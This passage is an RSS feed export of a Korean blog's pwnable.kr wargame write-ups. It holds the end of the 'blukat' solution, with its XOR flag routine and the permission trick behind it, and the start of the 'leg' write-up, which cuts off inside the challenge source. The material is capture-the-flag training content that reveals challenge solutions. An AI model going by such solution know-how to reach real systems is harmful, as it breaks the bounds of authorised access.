line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;calc_flag(password);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;else&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;wrong&amp;nbsp;guess!\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;exit(&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color:#4f4f4f; text-decoration:none&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Colored by Color Scripter&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;calc_flag() 함수의 내용은 다음과 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;char *key 가 전역 변수로 선언되어 있고, parameter로 전달된 s의 길이만큼 parameter의 1byte와 key의 1byte를 xor 연산해 결과값을 flag에 배열에 저장하고 flag 배열을 출력한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;5&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;6&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;7&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;8&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;9&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;char&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;key&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;3\rG[S/%\x1c\x1d#0?\rIS\x0f\x1c\x1d\x18;,4\x1b\x00\x1bp;5\x0b\x1b\x08\x45+&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;void&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;calc_flag(&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;char&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;s){&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;i;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(i&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&amp;nbsp;i&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;strlen(s);&amp;nbsp;i&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;){&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;flag[i]&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;s[i]&amp;nbsp;^&amp;nbsp;key[i];&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;%s\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;flag);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color:#4f4f4f; text-decoration:none&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Colored by Color Scripter&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;우리가 원하는 &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;flag를 획득하기 위해서 password 파일은 권한 없어 볼 수 없고, password를 모르는 상태로, password의 내용을 맞춰야한다.&lt;/span&gt; 왜냐하면 반드시 strcmp(password, buf)가 성공하기 위해서는 buf를 입력하는 사용자가 password의 내용을 알아야하기 때문이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;즉, 문제 제작자는 어떤 방식으로 password 파일에 접근하거나 볼 수 있도록 했다는것인데...&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;권한의 문제&lt;/span&gt;였다는것을 확인했다. ㅋㅋㅋㅋㅋㅋㅋㅋ&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 870px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/996150465C20B6C51A&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F996150465C20B6C51A&quot; width=&quot;870&quot; height=&quot;179&quot; filename=&quot;이미지 022.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;현재&lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt; uid는1104(blukat)이고, gid가 1105(blukat_pwn)&lt;/span&gt;으로 걸려있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;즉, 우리는 password에 접근할 수 있고, &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;pasword의 내용이 &quot;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;cat: password: Permission denied&quot;&lt;/span&gt;이다. ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 817px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99436B4B5C20B74B13&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99436B4B5C20B74B13&quot; width=&quot;817&quot; height=&quot;78&quot; filename=&quot;이미지 023.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;현재 사용자의 권한을 자세히 확인하자는 의도의 문제이다. 9reat!!!&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>Wargame/pwnable.kr</category>
      <author>MarcoKhan</author>
      <guid isPermaLink="true">https://marcokhan.tistory.com/233</guid>
      <comments>https://marcokhan.tistory.com/233#entry233comment</comments>
      <pubDate>Mon, 24 Dec 2018 19:12:12 +0900</pubDate>
    </item>
    <item>
      <title>[pwnable.kr] leg 풀이, write-up</title>
      <link>https://marcokhan.tistory.com/232</link>
      <description>&lt;p&gt;&lt;span style=&quot;font-size: 36pt;&quot;&gt;&lt;b&gt;pwnable.kr --- leg&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;ssh leg@pwnable.kr 2222 (pw:guest)&lt;/span&gt;로 접속하면 leg 문제를 만날 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;windows 환경의 cmd로 접속한것이 아니라 xshell5로 접속했다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;windows 환경의 cmd로 접속하려면&amp;nbsp;ssh leg@pwnable.kr -p2222와 같이 접속해야한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;우선 현재 디렉터리에 어떤 파일이 있는지 확인해보자.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 611px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/993CC33F5C2037471F&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F993CC33F5C2037471F&quot; width=&quot;611&quot; height=&quot;61&quot; filename=&quot;이미지 016.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;leg라는 의심스러운 elf 파일과 우리가 보고싶은 flag 파일이 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;leg elf 파일을 만든 leg.c와 leg.asm 파일은 아래의 경로에서 다운 받을 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;leg.c&lt;/span&gt;의 내용은 아래와 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;5&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;6&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;7&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;8&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;9&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;10&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;11&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;12&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;13&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;14&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;15&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;16&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;17&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;18&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;19&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;20&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;21&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;22&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;23&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;24&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;25&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;26&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;27&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;28&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;29&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;30&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;31&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;32&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;33&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;34&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;35&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;36&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;37&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;38&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;39&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;40&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;41&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;42&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(0, 134, 179); font-size: 14pt;&quot;&gt;#include&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;stdio.h&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(0, 134, 179); font-size: 14pt;&quot;&gt;#include&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;fcntl.h&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 